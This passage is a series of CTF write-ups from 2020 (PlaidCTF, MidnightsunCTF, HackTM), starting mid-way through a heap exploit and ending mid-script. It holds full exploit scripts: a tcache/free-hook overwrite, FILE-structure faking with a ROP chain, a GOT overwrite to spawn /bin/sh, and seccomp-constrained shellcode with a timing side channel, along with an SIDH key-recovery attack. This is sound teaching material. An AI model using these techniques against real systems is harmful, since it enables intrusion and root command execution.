    write(conns[14], "YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY\n", 0x40);
    yield();

    // read in the libc leak
    do {
        read(conns[14], chunk, 1);
    } while(*chunk != '\n');
    read(conns[14], chunk, 0x20);
    leak = (size_t*)chunk;
    if (leak[1] == 0x811) {
        puts("libc leak not found :(");
        exit(0);
    }
    printf("leaked: %lx %lx %lx %lx\n", leak[0], leak[1], leak[2], leak[3]);
    size_t libcbase = leak[2] -= OFFSET_LIBC;
    printf("libc located at: 0x%lx\n", libcbase);

    // prepare to trigger the bug one last time...
    int x, y, z;
    x = conn();
    yield();
    y = conn();
    yield();
    z = conn();
    yield();
    write(x, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 0x20);
    write(y, "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB", 0x20);
    write(z, "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC", 0x20);
    yield();
    close(x);
    yield();

    // bug again: overwrite tcache pointer to point at free hook
    addr = libcbase + OFFSET_FREE_HOOK;
    write(z, &addr, 7);
    close(y);
    yield();

    // get chunk overlapping the free hook, overwrite it with system
    write(conns[10], "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", 0x20);
    yield();
    memset(chunk, 0, 0x20);
    *(size_t*)chunk = libcbase + OFFSET_SYSTEM;
    write(conns[11], chunk, 0x20);
    yield();

    // create chunk with command to be executed
    x = conn();
    write(x, "/bin/cp /root/flag /tmp; /bin/chmod a+r /tmp/flag\0", 0x50);
    // free the chunk, executes the command as root
    close(x);

    // we can now cat /tmp/flag
    fflush(stdout);
    system("/bin/sh");
    return 0;
}

PlaidCTF 2020 - sidhe

2020-04-29T00:00:00+00:00

SIDHE

Sidhe was a post-quatum crypto task of this year’s PlaidCTF.

The Vulnerable Server

We’re given network access to a server and it’s source code:

import hashlib
from Crypto.Cipher import AES
import sys
assert(sys.version_info.major >= 3)

# SIDH parameters from SIKEp434
# using built-in weierstrass curves instead of montgomery curves because i'm lazy
e2 = 0xD8
e3 = 0x89
p = (2^e2)*(3^e3)-1
K.<ii> = GF(p^2, modulus=x^2+1)
E = EllipticCurve(K, [0,6,0,1,0])
xP20 = 0x00003CCFC5E1F050030363E6920A0F7A4C6C71E63DE63A0E6475AF621995705F7C84500CB2BB61E950E19EAB8661D25C4A50ED279646CB48
xP21 = 0x0001AD1C1CAE7840EDDA6D8A924520F60E573D3B9DFAC6D189941CB22326D284A8816CC4249410FE80D68047D823C97D705246F869E3EA50
yP20 = 0x0001AB066B84949582E3F66688452B9255E72A017C45B148D719D9A63CDB7BE6F48C812E33B68161D5AB3A0A36906F04A6A6957E6F4FB2E0
yP21 = 0x0000FD87F67EA576CE97FF65BF9F4F7688C4C752DCE9F8BD2B36AD66E04249AAF8337C01E6E4E1A844267BA1A1887B433729E1DD90C7DD2F
xQ20 = 0x0000C7461738340EFCF09CE388F666EB38F7F3AFD42DC0B664D9F461F31AA2EDC6B4AB71BD42F4D7C058E13F64B237EF7DDD2ABC0DEB0C6C
xQ21 = 0x000025DE37157F50D75D320DD0682AB4A67E471586FBC2D31AA32E6957FA2B2614C4CD40A1E27283EAAF4272AE517847197432E2D61C85F5
yQ20 = 0x0001D407B70B01E4AEE172EDF491F4EF32144F03F5E054CEF9FDE5A35EFA3642A11817905ED0D4F193F31124264924A5F64EFE14B6EC97E5
yQ21 = 0x0000E7DEC8C32F50A4E735A839DCDB89FE0763A184C525F7B7D0EBC0E84E9D83E9AC53A572A25D19E1464B509D97272AE761657B4765B3D6
xP30 = 0x00008664865EA7D816F03B31E223C26D406A2C6CD0C3D667466056AAE85895EC37368BFC009DFAFCB3D97E639F65E9E45F46573B0637B7A9
xP31 = 0x00000000
yP30 = 0x00006AE515593E73976091978DFBD70BDA0DD6BCAEEBFDD4FB1E748DDD9ED3FDCF679726C67A3B2CC12B39805B32B612E058A4280764443B
yP31 = 0x00000000
xQ30 = 0x00012E84D7652558E694BF84C1FBDAAF99B83B4266C32EC65B10457BCAF94C63EB063681E8B1E7398C0B241C19B9665FDB9E1406DA3D3846
xQ31 = 0x00000000
yQ30 = 0x00000000
yQ31 = 0x0000EBAAA6C731271673BEECE467FD5ED9CC29AB564BDED7BDEAA86DD1E0FDDF399EDCC9B49C829EF53C7D7A35C3A0745D73C424FB4A5FD2
P2 = E(xP20+ii*xP21, yP20+ii*yP21)
Q2 = E(xQ20+ii*xQ21, yQ20+ii*yQ21)
P3 = E(xP30+ii*xP31, yP30+ii*yP31)
Q3 = E(xQ30+ii*xQ31, yQ30+ii*yQ31)

def elem_to_coefficients(x):
    l = x.polynomial().list()
    l += [0]*(2-len(l))
    return l

def elem_to_bytes(x):
    n = ceil(log(p,2)/8)
    x0,x1 = elem_to_coefficients(x) # x == x0 + ii*x1
    x0 = ZZ(x0).digits(256, padto=n)
    x1 = ZZ(x1).digits(256, padto=n)
    return bytes(x0+x1)

def isogen3(sk3):
    Ei = E
    P = P2
    Q = Q2
    S = P3+sk3*Q3
    for i in range(e3):
        # Give generator of subgroup
        phi = Ei.isogeny((3^(e3-i-1))*S)
        # Ei = target curve of isogeny
        Ei = phi.codomain()
        # points on target curve
        S = phi(S)
        P = phi(P)
        Q = phi(Q)
    return (Ei,P,Q)

def isoex3(sk3, pk2):
    Ei, P, Q = pk2
    S = P+sk3*Q
    for i in range(e3):
        R = (3^(e3-i-1))*S
        phi = Ei.isogeny(R)
        Ei = phi.codomain()
        S = phi(S)
    return Ei.j_invariant()

def recv_K_elem(prompt):
    print(prompt)
    re = ZZ(input("  re: "))
    im = ZZ(input("  im: "))
    return K(re + ii*im)

supersingular_cache = set()
def is_supersingular(Ei):
    a = Ei.a_invariants()
    if a in supersingular_cache:
        return True
    result = Ei.is_supersingular(proof=False)
    if result:
        supersingular_cache.add(a)
    return result

def recv_and_validate_pk2():
    print("input your public key:")
    a1 = recv_K_elem("a1: ")
    a2 = recv_K_elem("a2: ")
    a3 = recv_K_elem("a3: ")
    a4 = recv_K_elem("a4: ")
    a6 = recv_K_elem("a6: ")
    Ei = EllipticCurve(K, [a1,a2,a3,a4,a6])
    assert(is_supersingular(Ei))
    Px = recv_K_elem("Px: ")
    Py = recv_K_elem("Py: ")
    P = Ei(Px, Py)
    Qx = recv_K_elem("Qx: ")
    Qy = recv_K_elem("Qy: ")
    Q = Ei(Qx, Qy)
    assert(P*(3^e3) == Ei(0) and P*(3^(e3-1)) != Ei(0))
    assert(Q*(3^e3) == Ei(0) and Q*(3^(e3-1)) != Ei(0))
    assert(P.weil_pairing(Q, 3^e3) == (P3.weil_pairing(Q3, 3^e3))^(2^e2))
    return (Ei, P, Q)

def main():
    sk3 = randint(1,3^e3-1)
    pk3 = isogen3(sk3)
    print("public key:")
    print("a1:", elem_to_coefficients(pk3[0].a1()))
    print("a2:", elem_to_coefficients(pk3[0].a2()))
    print("a3:", elem_to_coefficients(pk3[0].a3()))
    print("a4:", elem_to_coefficients(pk3[0].a4()))
    print("a6:", elem_to_coefficients(pk3[0].a6()))
    print("Px:", elem_to_coefficients(pk3[1][0]))
    print("Py:", elem_to_coefficients(pk3[1][1]))
    print("Qx:", elem_to_coefficients(pk3[2][0]))
    print("Qy:", elem_to_coefficients(pk3[2][1]))
    super_secret_hash = hashlib.sha256(str(sk3).encode('ascii')).digest()[:16]

    for _ in range(300):
        try:
            # SIDH key exchange
            pk2 = recv_and_validate_pk2()
            shared = isoex3(sk3, pk2)
            key = hashlib.sha256(elem_to_bytes(shared)).digest()
            # test shared key
            cipher = AES.new(key, AES.MODE_ECB)
            ciphertext = input("ciphertext: ")
            plaintext = cipher.decrypt(bytes.fromhex(ciphertext))
            if plaintext == super_secret_hash:
                print("How did you find my secret? Here, have a flag:")
                with open("flag.txt","r") as f:
                    print(f.read())
                return
            elif plaintext == b"Hello world.\x00\x00\x00\x00":
                print("Good ciphertext.")
            else:
                print("Bad ciphertext!")
        except:
            print("Validation error!")
            return

if __name__ == '__main__':
    main()

This code implements a Supersingular isogeny Diffie–Hellman key exchange (SIDH), specifically the De Feo, Jao, and Plut Scheme. This is a post-quantum key exchange mechanism based on graphs of isogenies $\phi$ (the edges) between supersingular elliptic curves $E$ (the vertices). The goal here is to recover the private key of the server.

The code reuses the private key portion sk3 up to 300 times. Also, it offers an oracle to determine if a shared key is valid, by decrypting a user suplied ciphertext. It also includes validation logic using the Weil pairing assert(P.weil_pairing(Q, 3^e3) == (P3.weil_pairing(Q3, 3^e3))^(2^e2)) to check independece of the supplied points by verfying their order.

In this scheme, Alice chooses a large random number $\alpha$ as private key. Then she calculates an isogeny $\phi_a$ from this number and two predefined points $P_A$ , $P_B$ in the $E[2^n]$ torsion group of the scheme’s supersingular elliptic curve $E$ . She then sends the parameters $(E_A = \phi_A(E), \phi_A(P_B), \phi_A(Q_B))$ to Bob. Bob does essentially the same calculation, but in $E[3^n]$ . Once Alice receives Bob’s parameters $(E_B = \phi_B(E), \phi_B(P_A), \phi_B(Q_A))$ , she can calculate the isogeny from $E_B$ by using her private key $\phi_B(P_A) + \alpha \phi_B(Q_A)$ .

The scheme is illustrated in this graph (taken from the original publication):

Static SIDH Attack

Reusing private keys in Diffie Hellman is a common use case, called static DH. With SIDH however, it is a very bad idea to use non-ephemeral keys. Since we have an oracle that tells us if a shared key is correct or not, we can employ an adaptive attack to recover the private key bit-by-bit (or actually trit-by-trit here).

As you can see in the code, the j-invariant is used as the shared key return Ei.j_invariant(). That is because the scheme guarantees that both parties end up on isomprphic curves, but not neccessarily on the same curve. The trick behind this attack is to calculate a legitimate isogeny giving $(E_B = \phi_B(E), R=\phi_B(P_A), S=\phi_B(Q_A))$ and doing the key exchange as Bob. Now we received a shared key in the form of a j-invariant of the agreed upon curve isomphism class. To recover the first bit of Alice’s private key we’ll then supply the values $(E_B = \phi_B(E), R, S+2^{n-1}R)$ . Alice (the server) will now compute $R + \alpha (S+2^{n-1}R)$ and calculate a shared key based on the result. Since $R$ has order $2^n$ , it holds that $\alpha (S+2^{n-1}R) = S$ iff $\alpha$ is even, because then:

$\alpha S + \frac{\alpha}{2} \cdot 2 \cdot 2^{n-1}R = \alpha S + \frac{\alpha}{2} \cdot 2^{n}R = \alpha S+ \frac{\alpha}{2} \cdot 0 = \alpha S$

So only if alpha is even, the shared key will be equal to the original (legitimate) one. Because of this, we just recovered the lowest bit of Alice’s private key. With the same trick we can recover all bits of the private key. For mathematical background information of the attack see this paper on insecurities of SIDH. To bypass the check via Weil pairing we need to include a scaling factor $\theta$ . However, that is not possible for the highest bits. We therefore have to brute force a hand-ful of bits offline, which is not a problem.

Exploit

The given server code does the computation on $E[3^n]$ , so it is actually playing Bob not Alice. However, the Static SIDH attack works exactly the same. The only difference is that we view the server key in trits instead of bits: $\alpha= \alpha_0 + \alpha_1\cdot3^1 + \ldots + \alpha_i\cdot3^i$ . Since a trit can have three possible values instead of two, we need to query the oracle more often per ‘position’. An that’s all!

A full exploit script (by manf since he was faster than me :/) can be found here.

MidnightsunCTF Quals 2020 - pwn6

2020-04-06T00:00:00+00:00

A static, no PIE, canary, AMD64 Binary, intended for pwny racing. Solved by faking glibc’s stdin/out FILE structures and writing a ROPchain into stack memory.

Download

Challenge Overview

At it’s core, the challenge looked like this in pseudo-decompiled-C. We can swap a single bit at an arbitrary address.

static volatile int loop;
while (loop < 1) {
    unsigned char* addr;
    unsigned int bitidx;
    printf("addr:");
    fscanf(stdin, "%p:%u", &addr, &bitidx);
    if (bitidx > 7)
        break;
    *addr ^= (1 << bitidx);
    loop++;
}

Unlimited Swaps

First, define some helper functions to swap a bit, write a byte and a bytestring to some (previously null) memory. To get an unlimited amount of swaps, we overwrite the sign bit of the loop variable. As it is declared as volatile, it is reloaded on the next compare and loop < 1 holds true.

def swapbitat(addr, bit):
    r.sendlineafter('addr:', '{}:{}'.format(hex(addr), bit))


def writebyte(addr, value):
    for idx in range(8):
        if (1 << idx) & value:
            swapbitat(addr, idx)


def writeto(addr, buf):
    for i in range(len(buf)):
        writebyte(addr + i, ord(buf[i]))

swapbitat(0x6D7333, 7)

Leaking A Stack Pointer

stdin, stdout and stderr in C are pointers to some FILE struct. FILE is a typedef for _IO_FILE, which is defined in struct_FILE.h. Besides holding a fileno (i.e. stdin = 0, stdout = 1, …), glibcs implementation does a lot of buffering on files as well (see the setvbuf kind of functions). There are slides of Angelboy available, which do descibe the thechiques I used in detail: e.g. https://gsec.hitb.org/materials/sg2018/WHITEPAPERS/FILE%20Structures%20-%20Another%20Binary%20Exploitation%20Technique%20-%20An-Jie%20Yang.pdf

tl;dr, by messing with _IO_write_base, _IO_write_ptr and _IO_read_end of _IO_FILE we can get arbitrary read. The following C snippet shows this behaviour:

static char leakme[] = {'a', 'b', 'c', 'd'};
puts("test");
stdout->_IO_write_base = leakme;
stdout->_IO_write_ptr = &leakme[4];
stdout->_IO_read_end = stdout->_IO_write_base;
puts("test");

Output:

test
testabcd

However, we can’t just overwrite the existing structure bit-by-bit, we would access corrupt pointers as stdin/out is accessed on every iteration of the loop. To solve this problem we swap a single bit inside of the stdout pointer (which is placed inside rw memory as well), so it points to some unused, zeroed out, rw space. Before we perform this “atomic stdout structure” swap of course we place a faked structure at this address.

def fakestdout(a, b):
    return struct.pack('<28Q',
                       0x00000000fbad0800,
                       0x00000000006d53e3,
                       a,
                       0x00000000006d53e3,
                       a,
                       b,
                       0x00000000006d53e3,
                       0x00000000006d53e3,
                       0x00000000006d53e4,
                       0, 0, 0, 0, 0,
                       1,
                       0, 0,
                       0x00000000006d7d30,
                       0, 0, 0, 0, 0, 0, 0, 0, 0,
                       0x00000000006d6fe0)

writeto(0x006d7360, fakestdout(0x006d7da8, 0x006d7db0))
swapbitat(0x006d57a1, 5)
r.recvn(4)
stack = struct.unpack('<Q', r.recvn(8))[0]
print('stack at 0x{:x}'.format(stack))
swapbitat(0x006d57a1, 5)

We get some stack address leaked in return, and immediately change back stdout to the original struct by swapping the same bit again.

Constructing A ROPchain

This part is easy, I used ROPgadget’s automatic ropchain generation feature ROPgadget.py --ropchain --binary pwn6. For some reason it doesn’t make use of a pop rax; ret; gadget for the syscall id, did it myself so it looks nicer.

Arbitrary Write

Now we need to write our ropchain onto the stack. To get an arbitrary write we use the same technique we already used for leaking. This time we fake a stdin structure and let the “read buffer” point onto the stack by modifying _IO_buf_base and _IO_buf_end. As a result any stdlib call reading from stdin will “buffer” input wherever we want to.

To leave the loop, we send “000000:8” to trigger the break and start the ropchain. The many zeros are only placed there so it is a nice 8Bytes size.

Final Sploit

from pwn import *
from struct import pack

r = remote('pwn6-01.play.midnightsunctf.se', 10006)


def swapbitat(addr, bit):
    r.sendlineafter('addr:', '{}:{}'.format(hex(addr), bit))


def writebyte(addr, value):
    for idx in range(8):
        if (1 << idx) & value:
            swapbitat(addr, idx)


def writeto(addr, buf):
    for i in range(len(buf)):
        writebyte(addr + i, ord(buf[i]))


def fakestdout(a, b):
    return struct.pack('<28Q',
                       0x00000000fbad0800,
                       0x00000000006d53e3,
                       a,
                       0x00000000006d53e3,
                       a,
                       b,
                       0x00000000006d53e3,
                       0x00000000006d53e3,
                       0x00000000006d53e4,
                       0, 0, 0, 0, 0,
                       1,
                       0, 0,
                       0x00000000006d7d30,
                       0, 0, 0, 0, 0, 0, 0, 0, 0,
                       0x00000000006d6fe0)


def fakestdin(a, b):
    return struct.pack('<28Q',
                       0x00000000fbad208b,
                       0x00000000006d5603,
                       0x00000000006d5603,
                       0x00000000006d5603,
                       0x00000000006d5603,
                       0x00000000006d5603,
                       0x00000000006d5603,
                       a,
                       b,
                       0, 0, 0, 0, 0,
                       0,
                       0, 0,
                       0x00000000006d7d40,
                       0, 0, 0, 0, 0, 0, 0, 0, 0,
                       0x00000000006d6fe0)


def rop():
    p = pack('<Q', 0x00449b46) * 0x10  # ret
    p += pack('<Q', 0x0000000000410433)  # pop rsi ; ret
    p += pack('<Q', 0x00000000006d50e0)  # @ .data
    p += pack('<Q', 0x00000000004158a4)  # pop rax ; ret
    p += '/bin//sh'
    p += pack('<Q', 0x0000000000487b51)  # mov qword ptr [rsi], rax ; ret
    p += pack('<Q', 0x0000000000410433)  # pop rsi ; ret
    p += pack('<Q', 0x00000000006d50e8)  # @ .data + 8
    p += pack('<Q', 0x0000000000444e00)  # xor rax, rax ; ret
    p += pack('<Q', 0x0000000000487b51)  # mov qword ptr [rsi], rax ; ret
    p += pack('<Q', 0x00000000004006a6)  # pop rdi ; ret
    p += pack('<Q', 0x00000000006d50e0)  # @ .data
    p += pack('<Q', 0x0000000000410433)  # pop rsi ; ret
    p += pack('<Q', 0x00000000006d50e8)  # @ .data + 8
    p += pack('<Q', 0x0000000000449af5)  # pop rdx ; ret
    p += pack('<Q', 0x00000000006d50e8)  # @ .data + 8
    p += pack('<Q', 0x00000000004158a4)  # pop rax
    p += pack('<Q', 59)
    p += pack('<Q', 0x000000000040130c)  # syscall
    return p


def sploit():
    # unlimited swaps
    swapbitat(0x6D7333, 7)

    # create fake file struct to leak a stack ptr
    writeto(0x006d7360, fakestdout(0x006d7da8, 0x006d7db0))

    # detour & restore stdout to/from fake file struct
    swapbitat(0x006d57a1, 5)
    r.recvn(4)
    stack = struct.unpack('<Q', r.recvn(8))[0]
    print('stack at 0x{:x}'.format(stack))
    swapbitat(0x006d57a1, 5)

    # create fake file struct to smash the stack
    writeto(0x6d7580, fakestdin(stack - 0x138, stack + len(rop())))
    swapbitat(0x006d57a9, 5)
    r.sendlineafter('addr:', '000000:8' + rop())

    r.interactive()


if __name__ == '__main__':
    sploit()

HackTM - Think twice before speaking once

2020-02-04T00:00:00+00:00

A “kind of” blind pwning challenge, non-pic binary was provided (but not unusable out of the box because of some linker foo?).

Download

user@KARCH ~ % nc 138.68.67.161 20004
 [*] Wise man said: 'Think twice before speaking once'
 [1] Think
 [2] Speak
 [3] Give Up
 >1
 [#] Enter Where: 4194304
[ 
ELF ]
 [1] Think
 [2] Speak
 [3] Give Up
 >3

The basic functionality was, that one could leak memory as often as he wants. But a 8 byte-write is allowed only once.

Resolving Functions

Let’s start with leaking everything we need. First of all we obtain a pointer into libc by leaking from our own GOT. Then we can let pwntools DynELF do the rest of the work. Done.

libcptr = struct.unpack('<Q', leakat(0x00601018))[0] - 0x69000
d = DynELF(leakat, libcptr)
d.lookup('system')

Unlimited Write

In the next step I crafted some unlimited writing primite. If we look at the implementation of the leaking functionality we can see that it is implemented using a write(stdout, myaddr, 8).

sym.imp.printf(" [#] Enter Where: ");
sym.imp.fflush(_reloc.stdout);
sym.imp.__isoc99_scanf("%lu", &var_10h);
sym.imp.puts("[ \n");
sym.imp.write(1, var_10h, 8);
sym.imp.puts(" ]");

Now, if we overwrite the reloc.write with read, a leak request at myaddr will lead to the execution of read(stdout, myaddr, 8). Even though we are reading from stdout, it is effectively the same as stdin. And by using this we now have unlimited writes.

RIP & RDI Control

In a final step I wanted to execute system(“/bin/sh”). For getting RIP control I overwrote reloc.exit with an address of my choice. So exiting gives me RIP control, but RDI is not controllable at all (it is zero because of exit(0)).

If we look at the initialization routine of the binary we can see three calls to setbuf/setvbuf. And each of them dereferences a pointer from a controllable location (reloc.stdin/out/err) and uses it to call a controllable function with.

void sym.init_proc(void)
{
    sym.imp.setvbuf(_reloc.stdin, 0, 2, 0);
    sym.imp.setvbuf(_reloc.stdout, 0, 2, 0);
    sym.imp.setbuf(_reloc.stderr, 0);
    sym.imp.signal(0xe, sym.handler);
    sym.imp.alarm(0x3c);
    return;
}

closer look in asm:

0x004008db      488b05be0720.  mov rax, qword [obj.stderr]
0x004008e2      be00000000     mov esi, 0
0x004008e7      4889c7         mov rdi, rax
0x004008ea      e801feffff     call sym.imp.setbuf

The Idea is to overwrite setbuf with system and modify reloc.stderr to be a pointer pointing to /bin/sh. Stderr is never used inside the code, so nothing is going to crash. The /bin/sh string is placed in some unused memory (e.g. just at the end of the reloc section). If we have done this, we can now just call main or init_proc to get a shell. (At least I thought so, it crashed…)

WTF

I don’t know what was going on on the remote side, but to me it seemed like the env pointer was wrong? So when doing a system(“/bin/sh”) libc would try to resolve the environment variables, but it got a wrong pointer and it would crash. Anyways, by calling execve directly this doesn’t happen, because we would have to do the job of supplying argv and env pointers. Supplying NULL is fine as well. And as lucky as we are, the second and third arguments are either NULL or some valid pointers. Shell.

from pwn import *

r = remote('138.68.67.161', 20004)


def leakat(addr):
    r.sendlineafter('>', '1')
    r.sendlineafter('Where:', str(addr))
    r.recvuntil('[ \n')
    return r.recvn(8)


def writeto(addr, value):
    r.sendlineafter('>', '2')
    r.sendlineafter('Where:', str(addr))
    r.sendlineafter('What: ', str(value))


def xwrite(addr, value):
    r.sendlineafter('>', '1')
    r.sendlineafter('Where:', str(addr))
    r.recvuntil('[ \n')
    r.send(struct.pack('<Q', value))


def sploit():
    libcptr = struct.unpack('<Q', leakat(0x00601018))[0] - 0x69000

    # resolve addresses. Use execve instead of system because of fucked up env ptr?
    d = DynELF(leakat, libcptr)
    addr_execve = d.lookup('execve')
    addr_read = d.lookup('read')

    # read is now write for unlimited write.
    writeto(0x00601020, addr_read)

    # place /bin/sh in unused mem, let reloc.stderr point there
    xwrite(0x00601100, struct.unpack('<Q', b'/bin/sh\0')[0])
    xwrite(0x006010a0, 0x00601100)

    # setbuf is now execve
    xwrite(0x00601028, addr_execve)

    # exit is now main
    xwrite(0x00601068, 0x00400930)

    # exit to main -> init_proc -> execve("/bin/sh", 0, ?)
    r.sendlineafter('>', '3')
    r.interactive()


if __name__ == '__main__':
    sploit()

HackTM - Papabear

2020-02-04T00:00:00+00:00

The challenge generates a mustache based on argv[1] input. Challenge authors supplied us with the target mustache, which we had to match.

Download

user@KARCH ~/ctf/papa % ./papa_bear AAAAA
   ______   _______  ______   _______      ______   _______  _______  ______
  (_____ \ (_______)(_____ \ (_______)    (____  \ (_______)(_______)(_____ \
   _____) ) _______  _____) ) _______      ____)  ) _____    _______  _____) )
  |  ____/ |  ___  ||  ____/ |  ___  |    |  __  ( |  ___)  |  ___  ||  __  /
  | |      | |   | || |      | |   | |    | |__)  )| |_____ | |   | || |  \ \
  |_|      |_|   |_||_|      |_|   |_|    |______/ |_______)|_|   |_||_|   |_|

            dWMM=-        dWWMWWMMWWMWb  dWMMWWMWWMMWb        -=WMWb
          dWMMP       dWWMWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMb        qMMb
          MMMMb   dMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMb    dMMM
          qMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMP
            QMMMMMMMMMMMMMMMMMMMMMMMMMP  QMMMMMMMMMMMMMMMMMMMMMMMMMMP
              QMMMMMMMMMMMMMMMMMMMP          QMMMMMMMMMMMMMMMMMMMP
                     QMMMMMMP                         QMMMMMMP

Like in babybear, the input transformation into the mustache was linear. So this time I tried to solve it without reversing at all, just by bruteforce.

Patching

I tried to run the binary with python subprocess.getoutput aaaand it did not work. (output was always empty) A look with strace on the binary revealed that the output is written to stdin, and not stdout. As there was only one position where the output is written, I just patched the file descriptor from 0 to 1. (r2 -w papa_bear, seek to the write, and patch the rdi assignment to wa mov rdi, 1) Now everything works as expected.

Bruteforcing

We now can just guess byte by byte until we match the desired mustache. Sometimes manual intervention is necessary to prevent a path explosion (it seems like the @ symbol can cause recursion).

import subprocess
import string

soll = """
dWWW=- dWWMWWWWWMWMb dMMWWWWWWWWWb -=MMMb
dWMWP dWWWMWWWMMWMMMWWWWWMMMMMMWMMMWWWMMMb qMWb
WMWWb dMWWMMMMMMWWWWMMWWWMWWWWWWMMWWWWMWMWMMMWWWWb dMMM
qMMWMWMMMWMMWWWMWMMMMMMMMWMMMMWWWMMWWMWMWMMWWMWWWWMWWMMWMMWP
QWWWWWWWMMWWWWWWWMMWWWWMMWP QWWWMWMMMMWWWWWMMWWMWWWWWWMP
QWMWWWMMWWMWMWWWWMWWP QWWMWWMMMWMWMWWWWMMMP
QMWWMMMP QMMMMMMP
"""


def normalize(data):
    return ''.join(filter(lambda c: c if c in ['W', 'M'] else '', data)).replace('W', '1').replace('M', '0')


soll = normalize(soll)

states = ['HackTM{F4th3r bEaR s@y$: Smb']
while states:
    newstates = []
    for state in states:
        for c in string.digits + string.ascii_letters + string.whitespace + r"""!"#%&'()*+,-./:;<=>?@[\]^_`{|}~""":
            ist = subprocess.getoutput("./papa_bear '{}'".format((state + c).replace("'", "'\\''")))
            ist = ''.join(ist.splitlines()[7:])
            ist = normalize(ist)
            ist = ist[:ist.rfind('1') + 1]
            if soll.startswith(ist):
                newstates.append(state + c)
    states = newstates
    print(states)

HackTM - Obey The Rules

2020-02-04T00:00:00+00:00

Obey the rules was a simple pwning / shellcoding challenge at HackTM. Loading in r2 we see the following:

Download

user@KARCH ~/ctf/rules % r2 obey_the_rules
 -- Press any key to continue ...
[0x00400a70]> aa
[x] Analyze all flags starting with sym. and entry0 (aa)
[0x00400a70]> s main
[0x00400ce1]> pdg

undefined8 main(void)
{
    int64_t iVar1;
    int32_t iVar2;
    undefined8 uVar3;
    int64_t in_FS_OFFSET;
    int64_t var_84h;
    int64_t var_78h;
    int64_t var_70h;
    int64_t var_8h;
    
    iVar1 = *(int64_t *)(in_FS_OFFSET + 0x28);
    sym.init_proc();
    sym.imp.memset(&var_70h, 0, 100);
    sym.open_read_file((int64_t)"header.txt", 100, (int64_t)&var_70h);
    sym.imp.puts(&var_70h);
    var_84h._0_4_ = sym.open_read_file((int64_t)"description.txt", 800, (int64_t)obj.description);
    sym.imp.printf("\n    %s\n  ", obj.description);
    sym.imp.puts(" >> Do you Obey? (yes / no)");
    sym.imp.read(0, obj.answer, 0xb);
    var_84h._0_4_ = sym.open_read_file((int64_t)"RULES.txt", 0x96, (int64_t)obj.rules);
    var_84h._4_2_ = (undefined2)((int32_t)var_84h >> 3);
    iVar2 = sym.imp.prctl(0x26, 1, 0, 0, 0);
    if (iVar2 < 0) {
        sym.imp.perror("prctl(PR_SET_NO_NEW_PRIVS)");
    // WARNING: Subroutine does not return
        sym.imp.exit(2);
    }
    iVar2 = sym.imp.prctl(0x16, 2, (int64_t)&var_84h + 4);
    if (iVar2 < 0) {
        sym.imp.perror("prctl(PR_SET_SECCOMP)");
    // WARNING: Subroutine does not return
        sym.imp.exit(2);
    }
    iVar2 = sym.imp.strcmp(obj.answer, "Y");
    if (iVar2 == 0) {
        sym.set_context();
    } else {
        sym.imp.system("/bin/sh");
    }
    uVar3 = 0;
    if (iVar1 != *(int64_t *)(in_FS_OFFSET + 0x28)) {
        uVar3 = sym.imp.__stack_chk_fail();
    }
    return uVar3;
}

[0x00400ce1]> pdg @sym.set_context

void sym.set_context(void)
{
    int64_t iVar1;
    int64_t var_8h;
    
    iVar1 = sym.imp.strlen(obj.answer);
    obj.answer[iVar1] = (code)0x59;
    sym.imp.strcpy(_obj.region, obj.answer);
    (*_obj.region)(0x539);
    return;
}
[0x00400ce1]> 

First of all, we see that the r2 ghidra plugin is nice for quick decompilation needs. Second, we see what the challenge does:

printing some fancy headers
reading a maximum of 11 Bytes from stdin
loading seccomp rules unknown to us out of a file
if the input is “Y\0”, it will jump into our sumbitted input and executes it (the nullybte is replaced by another ‘Y’)
else it executes /bin/sh, which is killed due to seccomp

So after excluding “Y\0” we have a total of 9 bytes left for shellcode.

Testing for allowed syscalls

First I checked which syscalls are allowed. If a syscall was forbidden, it would report illegal instruction, else a segmentation fault occurs. As we could not use nullbytes due to the strcpy, i checked the syscall id 0 case manually and used the following code for the other syscalls up to 255:

xor rax, rax;
mov al, {nr};
syscall;
ud2;

Which compiles down to exactly 9 bytes. The ud2 is optional and should just crash immediately if the syscall succeeded. I found out that the syscalls (0 read, 2 open, 60 exit) are allowed. That’s enough to work with as the flag location was given and even if a write is lacking I could just use some sidechannel to exfiltrate the flag.

Getting unlimited RCE

To get unlimited RCE I planned to reread additonal shellcode by using something like read(0, $rip, amount). We need to get:

rax = 0
rdi = 0
rsi = $rip
rdx = amount

The only “trick” I used to save bytes was using push rbx; pop rax; (2 bytes) instead of moving registers with mov rax, rbx; (3 bytes). For getting rax = rdi = 0 I used the fact that register rbx would always be zero, which lead to the following shellcode.

push rbx;
push rbx;
pop rax;
pop rdi;

To get rsi right in front of our $rip I used the fact that the current top of stack just holds exactly that value.

pop rsi;

Lastly I wanted to read some bigger amount, so I just wrote 0xff to rdx’s high byte.

mov dh, 0xff;

Two bytes left for the syscall, we are ready to overwrite the code at $rip :)

syscall;

Sidechannels and Profit

For exfiltrating the flag there are two sidechannels which came to my mind.

timing based (burn cpu cycles using some loop)
blocked syscall based (1/0 oracle by calling a blocked syscall or exit normally)

I decided to go with the timing one. To speed things up one could implement fancy stuff like a binary search or burn CPU power depending on the currently exfiltrated character with that approach. I did not. So here is the final script stupidly bruteforcing all possibilities. Notice that I open the file twice to increment the fd id. Because the seccomp filter seemed to block read syscalls with fd==3.

from pwn import *
import time

context.clear(arch='amd64')

payload1 = asm(
    """
    push rbx;
    push rbx;
    pop rax;
    pop rdi;
    pop rsi;
    mov dh, 0xff;
    syscall;
    """
)
assert len(payload1) < 10

payload2 = (
        shellcraft.open('/home/pwn/flag.txt') +
        shellcraft.open('/home/pwn/flag.txt') +
        shellcraft.read(fd='rax', buffer='rsp', count=0x100) +
        'xor rcx, rcx;' +
        'mov al, [rsp + {}];' +
        'cmp al, {};' +
        'jne done;' +
        'mov rcx, 0x3ffffff;' +
        'times:\nloop times;done:;' +
        shellcraft.exit(0)
)


def sploit(r, idx, ch):
    r.send('Y\0' + payload1.ljust(9, '\x90') + '\x90' * 11 + asm(payload2.format(idx, ch)))


if __name__ == '__main__':
    flag = ''

    while True:
